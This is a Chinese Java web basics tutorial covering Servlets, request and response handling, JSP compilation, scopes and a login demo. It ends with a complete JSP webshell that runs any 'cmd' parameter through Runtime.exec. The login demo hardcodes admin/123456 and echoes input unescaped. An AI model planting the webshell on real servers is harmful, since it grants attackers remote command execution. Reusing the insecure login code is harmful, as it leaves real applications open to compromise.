JAVA WEB基础(一) 一、创建JAVA WEB 项目 1、创建项目 新建项目:
选择 Maven 项目,后选择 maven-archetype-webapp ,名称处为自定义项目名,如下图所示:
创建成功后项目目录如下:
2、配置Tomcat pom.xml 添加依赖
1 2 3 4 5 <dependency > <groupId > javax.servlet</groupId > <artifactId > javax.servlet-api</artifactId > <version > 3.1.0</version > </dependency >
依赖添加成功
添加Tomcat
添加部署方式
war方式 :发布模式,先打包成war包,再发布。
war exploded方式 :常在开发的时候使用这种方式,可以支持热部署。
配置 url 根路径
启动项目
项目启动成功
二、Servlet 1、简介 Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。
使用 Servlet,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。
Java Servlet 通常情况下与使用 CGI(Common Gateway Interface,公共网关接口)实现的程序可以达到异曲同工的效果。但是相比于 CGI,Servlet 有以下几点优势:
性能明显更好。
Servlet 在 Web 服务器的地址空间内执行。这样它就没有必要再创建一个单独的进程来处理每个客户端请求。
Servlet 是独立于平台的,因为它们是用 Java 编写的。
服务器上的 Java 安全管理器执行了一系列限制,以保护服务器计算机上的资源。因此,Servlet 是可信的。
Java 类库的全部功能对 Servlet 来说都是可用的。它可以通过 sockets 和 RMI 机制与 applets、数据库或其他软件进行交互。
2、声明 Servlet 2.1、HttpServlet javax.servlet.http.HttpServlet
类继承javax.servlet.GenericServlet
,GenericServlet实现接口javax.servlet.Servlet
和javax.servlet.ServletConfig
。javax.servlet.Servlet
接口中定义了servlet基础生命周期方法:
init() 初始化阶段,只被调用一次,也就是在第一次创建Servlet时被调用
getServletConfig() 配置
service() 服务阶段,主要处理来自客户端的请求,可以根据HTTP请求类型来调用对应的方法,比如 doGet(),doPost(),doPut()等
getServletInfo() 配置
destroy() 销毁阶段,该方法只会被调用一次,即在Servlet生命期结束时被调用
HttpServlet不仅实现了servlet的生命周期并通过封装service方法抽象出doGet()/doPost()/doDelete()/doHead()/doPut()/doOptions()/doTrace()
方法用于处理来自客户端的不一样的请求方式
综上,若声明的Servlet则只需要重写请求方法或者重写service方法即可实现servlet请求处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;public class HelloServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String name = req.getParameter("name" ); PrintWriter writer = resp.getWriter(); writer.write("hello " + name); } }
2.2、xml 配置 配置 src/main/webapp/WEB-INF/web.xml 注册Servlet。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <web-app > <display-name > Archetype Created Web Application</display-name > <servlet > <servlet-name > HelloServlet</servlet-name > <servlet-class > org.example.HelloServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > HelloServlet</servlet-name > <url-pattern > /hello</url-pattern > </servlet-mapping > </web-app >
映射匹配流程 :/hello 路径绑定的 Servlet-name为 HelloServlet,而 HelloServlet 绑定的class 为 org.example.HelloServlet ,访问 /hello ,调用 org.example.HelloServlet。
配置成功,访问 /hello ,调用 org.example.HelloServlet
2.3、注解配置 Servlet 3.0 之后( Tomcat7+)支持使用注解方式配置 Servlet ,在任意的Java类添加javax.servlet.annotation.WebServlet注解即可注册Servlet。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;@WebServlet("/hello1") public class Hello1Servlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String name = req.getParameter("name" ); PrintWriter writer = resp.getWriter(); writer.write("hello1 " + name); } }
配置成功,访问 /hello1 ,调用 org.example.Hello1Servlet
3、HttpServletRequest 3.1、核心方法: 存在以下核心方法:
String getQueryString():得到的是完整的查询字符串,如:?a=10&b=20获取到其中的 a=10&b=20
Enumeration getParameterNames():得到所有的 key,以 Enum(枚举)的方式来表示。
String getParameter(String name):根据 key 得到 value。
String[] getParameterValues(String name):如果存在多个 key 相同的情况下,得到的value就是一个数组的形式。
Enumeration getHeaderNames():获取请求报头中所有的 key。
String getHeader(String name):根据 key 获取 value。
String getCharacterEncoding():获取到请求的字符编码是什么。(其实字符编码,就包含在 getContentType里面)
String getContentType():获取到整个 ContentType 的键值对,值里面可能包含 字符编码。
int getContentLength():获取到 body 的长度。
InputStream getInputStream():得到一个输入流对象。从这个对象中读取数据,其实就是读到了请求的body。请求body里面可能有些数据,可能会被这里的 getInputStream来获取。
3.2、打印请求信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.util.Enumeration;@WebServlet("/showRequest") public class ShowRequestServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { StringBuilder stringBuilder = new StringBuilder (); stringBuilder.append("<h3> 首行部分</h3>" ); stringBuilder.append(req.getProtocol()); stringBuilder.append("<br>" ); stringBuilder.append(req.getMethod()); stringBuilder.append("<br>" ); stringBuilder.append(req.getRequestURI()); stringBuilder.append("<br>" ); stringBuilder.append(req.getContextPath()); stringBuilder.append("<br>" ); stringBuilder.append(req.getQueryString()); stringBuilder.append("<br>" ); stringBuilder.append("<h3> header 部分</h3>" ); Enumeration<String> headerNames = req.getHeaderNames(); while (headerNames.hasMoreElements()) { String headerName = headerNames.nextElement(); String headerValue = req.getHeader(headerName); stringBuilder.append(headerName + ": " + headerValue + "<br>" ); } resp.setContentType("text/html; charset=utf-8" ); resp.getWriter().write(stringBuilder.toString()); } }
请求后如下打印相应信息:
3.3、获取 GET 请求中参数 可使用getParameter()、getParameterValues()获取请求中参数。
getParameter(String name):根据 key 得到 value。
getParameterValues(String name):如果存在多个 key 相同的情况下,得到的value就是一个数组的形式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/getParameter") public class GetParameterServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String userId = req.getParameter("userId" ); String classId = req.getParameter("classId" ); resp.getWriter().write("userId: " + userId + " classId: " + classId); } }
启聪Tomcat,访问页面,得到如下结果,若有参数则输出,无参数则为 null
3.3、获取 POST 请求中参数 POST 与 GET 相同仍使用 getParameter()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/postGetParameter") public class PostGetParameterServlet extends HttpServlet { @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html; charset=utf-8" ); String userId = req.getParameter("userId" ); String classId = req.getParameter("classId" ); resp.getWriter().write("userId = " + userId + " classId = " + classId); } }
Servlet 可正常获取数据
4、HttpServletResponse 4.1、核心方法 存在以下核心方法:
void sendRedirect(String location)
:返回一个重定向的响应,不是 set,而是 send,3xx 开头的响应。浏览器会自动的跳转到对应的新页面,String location
就是你要跳转到的页面。
PrintWriter getWriter()
:得到字符流
OutputStream getOutputStream()
:得到字节流
4.2、设置状态码及重定向 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/redirect") public class RedirectServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setStatus(302 ); resp.setHeader("Location" ,"https://cn.bing.com" ); } }
可正常重定向
三、JSP 1、简介 JSP 全称 JavaServer Pages 基于Java语言,是一种动态网页技术,与 PHP、ASP、ASP.NET 等类似的脚本语言,JSP是为了简化Servlet的处理流程而出现的替代品,早期的Java EE因为只能使用Servlet来处理客户端请求而显得非常的繁琐和不便,使用JSP可以快速的完成后端逻辑请求。使用JSP标签在HTML网页中插入Java代码,标签通常以<%
开头 以%>
结束,JSP本质是简化版的Servlet,JSP在编译后就变成了Servlet,由于JVM只能识别 Java 类,无法识别JSP代码。故WEB服务器会将 JSP 编译为 JVM 能识别的Java类。
JSP 与 Servlet区别在于,JSP常用于动态页面显示,Servlet 常用于逻辑控制。在代码中常使用 JSP 做前端动态页面,在接收到用户输入后交给对应的 Servlet 进行处理(JSP也可以当做后端代码进行逻辑控制)。
因为在JSP中可以直接调用Java代码来实现后端逻辑的这一特性,黑客通常会编写带有恶意攻击的JSP文件(俗称WebShell)来实现对服务器资源的恶意请求和控制。
现代的MVC框架(如:Spring MVC 5.x)已经完全抛弃了JSP技术,采用了模板引擎(如:Freemark)或者RESTful的方式来实现与客户端的交互工作, 总结来说 JSP 已被慢慢淘汰。
2、JSP原理 JSP 本质上是简化版的 Servlet,由于 JVM 无法识别JSP,故 WEB 服务器会将 JSP 编译为可识别的 .java 文件,从业务来说 JSP 常用于动态页面显示,Servlet 常用于逻辑控制即 JSP 通常作为前端动态页面,Servlet通常做为后端代码进行逻辑控制。
index.jsp
1 2 3 4 5 <html> <body> <h2>Hello World!</h2> </body> </html>
启动 Tomcat
查看 idea 项目文件 C:\Users\bai\AppData\Local\JetBrains\IntelliJIdea2022.2\tomcat\349ec0f9-08df-4618-8b09-2f49abd43030\work\Catalina\localhost\demo_war\org\apache\jsp
存在文件index_jsp.java、index_jsp.class
编译过程如下:
浏览器第一次请求 index.jsp,Tomcat 将index.jsp转化成 index._jsp.java ,并将该文件编译成class文件,编译完毕后运行 class 文件响应浏览器请求;同时对 index.jsp 进行监听,若 index.jsp 存在改动则重新编译 ;后续访问 index.jsp 将直接调用 class 进行响应。
index._jsp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 package org.apache.jsp;import javax.servlet.*;import javax.servlet.http.*;import javax.servlet.jsp.*;public final class index_jsp extends org .apache.jasper.runtime.HttpJspBase implements org .apache.jasper.runtime.JspSourceDependent, org.apache.jasper.runtime.JspSourceImports { private static final javax.servlet.jsp.JspFactory _jspxFactory = javax.servlet.jsp.JspFactory.getDefaultFactory(); private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants; private static final java.util.Set<java.lang.String> _jspx_imports_packages; private static final java.util.Set<java.lang.String> _jspx_imports_classes; static { _jspx_imports_packages = new java .util.HashSet<>(); _jspx_imports_packages.add("javax.servlet" ); _jspx_imports_packages.add("javax.servlet.http" ); _jspx_imports_packages.add("javax.servlet.jsp" ); _jspx_imports_classes = null ; } private volatile javax.el.ExpressionFactory _el_expressionfactory; private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager; public java.util.Map<java.lang.String,java.lang.Long> getDependants() { return _jspx_dependants; } public java.util.Set<java.lang.String> getPackageImports() { return _jspx_imports_packages; } public java.util.Set<java.lang.String> getClassImports() { return _jspx_imports_classes; } public javax.el.ExpressionFactory _jsp_getExpressionFactory () { if (_el_expressionfactory == null ) { synchronized (this ) { if (_el_expressionfactory == null ) { _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); } } } return _el_expressionfactory; } public org.apache.tomcat.InstanceManager _jsp_getInstanceManager () { if (_jsp_instancemanager == null ) { synchronized (this ) { if (_jsp_instancemanager == null ) { _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig()); } } } return _jsp_instancemanager; } public void _jspInit () { } public void _jspDestroy () { } public void _jspService (final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response) throws java.io.IOException, javax.servlet.ServletException { if (!javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) { final java.lang.String _jspx_method = request.getMethod(); if ("OPTIONS" .equals(_jspx_method)) { response.setHeader("Allow" ,"GET, HEAD, POST, OPTIONS" ); return ; } if (!"GET" .equals(_jspx_method) && !"POST" .equals(_jspx_method) && !"HEAD" .equals(_jspx_method)) { response.setHeader("Allow" ,"GET, HEAD, POST, OPTIONS" ); response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSP 只允许 GET、POST 或 HEAD。Jasper 还允许 OPTIONS" ); return ; } } final javax.servlet.jsp.PageContext pageContext; javax.servlet.http.HttpSession session = null ; final javax.servlet.ServletContext application; final javax.servlet.ServletConfig config; javax.servlet.jsp.JspWriter out = null ; final java.lang.Object page = this ; javax.servlet.jsp.JspWriter _jspx_out = null ; javax.servlet.jsp.PageContext _jspx_page_context = null ; try { response.setContentType("text/html" ); pageContext = _jspxFactory.getPageContext(this , request, response, null , true , 8192 , true ); _jspx_page_context = pageContext; application = pageContext.getServletContext(); config = pageContext.getServletConfig(); session = pageContext.getSession(); out = pageContext.getOut(); _jspx_out = out; out.write("<html>\r\n" ); out.write("<body>\r\n" ); out.write("<h2>Hello World!</h2>\r\n" ); out.write("</body>\r\n" ); out.write("</html>\r\n" ); } catch (java.lang.Throwable t) { if (!(t instanceof javax.servlet.jsp.SkipPageException)){ out = _jspx_out; if (out != null && out.getBufferSize() != 0 ) try { if (response.isCommitted()) { out.flush(); } else { out.clearBuffer(); } } catch (java.io.IOException e) {} if (_jspx_page_context != null ) _jspx_page_context.handlePageException(t); else throw new ServletException (t); } } finally { _jspxFactory.releasePageContext(_jspx_page_context); } } }
index_jsp.java 继承于 HttpJspBase 类,HttpJspBase 是一个实现了 HttpJspPage 接口并继承了 HttpServlet 的标准的Servlet,jspService 方法其实是 HttpJspPage 接口方法,类似于 Servlet 中的 service 方法,这里的 _jspService方法其实就是HttpJspBase的service方法调用。
3、JSP脚本 JSP 脚本就是 JSP 页面中的 java 代码,也叫做scriptlet。JSP 的脚本必须使用<% %>
括起来,不然会将当成是模板数据即当做 HTMl 代码进行解析
JSP脚本存在以下三种方式
<%%> 定义局部变量,编写语句,可用<jsp:scriptlet></jsp:scriptlet>
替代
<%!%> 定义类或方法(极少使用)
<%=%> 输出各种类型的变量,int、double、String、Object等, 也称为表达式输出
4、JSP指令 4.1、<%@ page … %> 定义网页依赖属性,比如脚本语言、error页面、缓存需求等等
session=”true | false”
errorPage=”relative_url” 设置报错跳转页面,配合 isErrorPage 使用
isErrorPage=”true | false” 设置页面是否为 isErrorPage
contentType=”text/html;charset=UTF-8”
pageEncoding=”characterSet “
isELIgnored=”true | false”
4.2、<%@ include … %> 包含其他文件(静态包含)
4.3、<%@ taglib … %> 引入标签库的定义,taglib指令就是用来指明JSP页面内使用标签库技术
5、JSP内置对象 JSP存在以下九大内置对象
变量名
类型
作用
pageContext
PageContext
当前页面编译后的内容,可以获取其他8个内置对象
request
HttpServletRequest
客户端请求对象,包含了所有客户端请求信息
session
HttpSession
请求会话
application
ServletContext
全局对象,所有用户间共享数据
response
HttpServletResponse
响应对象,主要用于服务器端设置响应信息
page
Object
当前Servlet对象,this
out
JspWriter
输出对象,数据输出到页面上
config
ServletConfig
Servlet的配置对象
exception
Throwable
异常对象
6、域对象 pageContext、request、session、ServletContext作为域对象均存在以下三个方法:
setAttribute(String name,Objcet o)
getAttribute(String name)
removeAttribute(String name)
pageContext 本质上代表的是当前JSP页面编译后的内容,作为域对象而言,仅代表当前 JSP 页面,即 pageContext 域对象只在 page 范围内有效,超出 page 范围将失效
同一 page 页面内使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>使用page域对象</title> </head> <body> <% pageContext.setAttribute("name" , "baigeixinan" ); %> <% String value = (String) pageContext.getAttribute("name" ); %> <%= value%> </body> </html>
可正常使用
尝试跨域获取
test2.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>request域对象设置属性</title> </head> <body> <% request.setAttribute("name" ,"zhongfucheng" ); %> <%--跳转test3.jsp--%> <jsp:forward page="test3.jsp" /> </body> </html>
test3.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% String value = (String) pageContext.getAttribute("name" ); %> <%= value%> </body> </html>
获取失败
pageContext对象重载了setAttribute()、getAttribute()、removeAttribute()三个方法,添加了一个设置域范围的一个参数,如果不指定默认为 page
getAttribute(String name,int scope)
setAttribute(String name,Object value,int scope)
removeAttribute(String name,int scope)
pageContext把request、session、application、page这几个域对象封装着了静态变量供我们使用。
PageContext.APPLICATION_SCOPE
PageContext.SESSION_SCOPE
PageContext.REQUEST_SCOPE
PageContext.PAGE_SCOPE
修改 test3.jsp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% String value = (String) pageContext.getAttribute("name" ,pageContext.REQUEST_SCOPE); %> <%= value%> </body> </html>
可成功获取
4中属性范围如下:
page【只在一个页面中保存属性,跳转页面无效】
requet【只在一次请求中保存属性,服务器跳转有效,浏览器跳转无效】
session【在一个会话范围中保存属性,无论何种跳转均有效,关闭浏览器后无效】
application【在整个服务器中保存,所有用户都可以使用】
7、EL表达式 表达式语言(Expression Language,EL),EL表达式是用”${}”括起来的脚本,EL表达式主要用来读取数据,进行内容显示。
8、JSP demo login.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html> <head> <title>登录页</title> </head> <body> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <h2>登录</h2> <form action="login.jsp" method="post" > 账号: <input type="text" name="username" /><br> 密码: <input type="password" name="password" /><br> <input type="submit" value="登录" > </form> </body> </html>
login.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" > <title>主页</title> </head> <body> <% String username = request.getParameter("username" ); String password = request.getParameter("password" ); %> <% if (username.equals("admin" ) && password.equals("123456" )){ response.getWriter().write("登录成功" ); }else { response.getWriter().write("登录失败" ); } %> 用户名:<%= username%> 密码:<%= password%> </body> </html>
9、JSP木马 JSP木马也可以称作JSP Webshell,如果对方在上传文件或其他功能没有做防护的话,攻击者可以利用任意文件上传漏洞将恶意代码传到后端,继而攻击者可以达到操作目标网站的目的。
木马demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.InputStreamReader" %> <%@ page import ="java.nio.charset.Charset" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% String retStr = "" ; char [] tmpBuffer = new char [1024 ]; int nRet = 0 ; String cmd = request.getParameter("cmd" ); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader (inputStream, Charset.forName("GB2312" )); while ((nRet = inputStreamReader.read(tmpBuffer, 0 , 1024 )) != -1 ) { retStr += new String (tmpBuffer, 0 , nRet); } inputStreamReader.close(); %> <%= retStr%> </body> </html>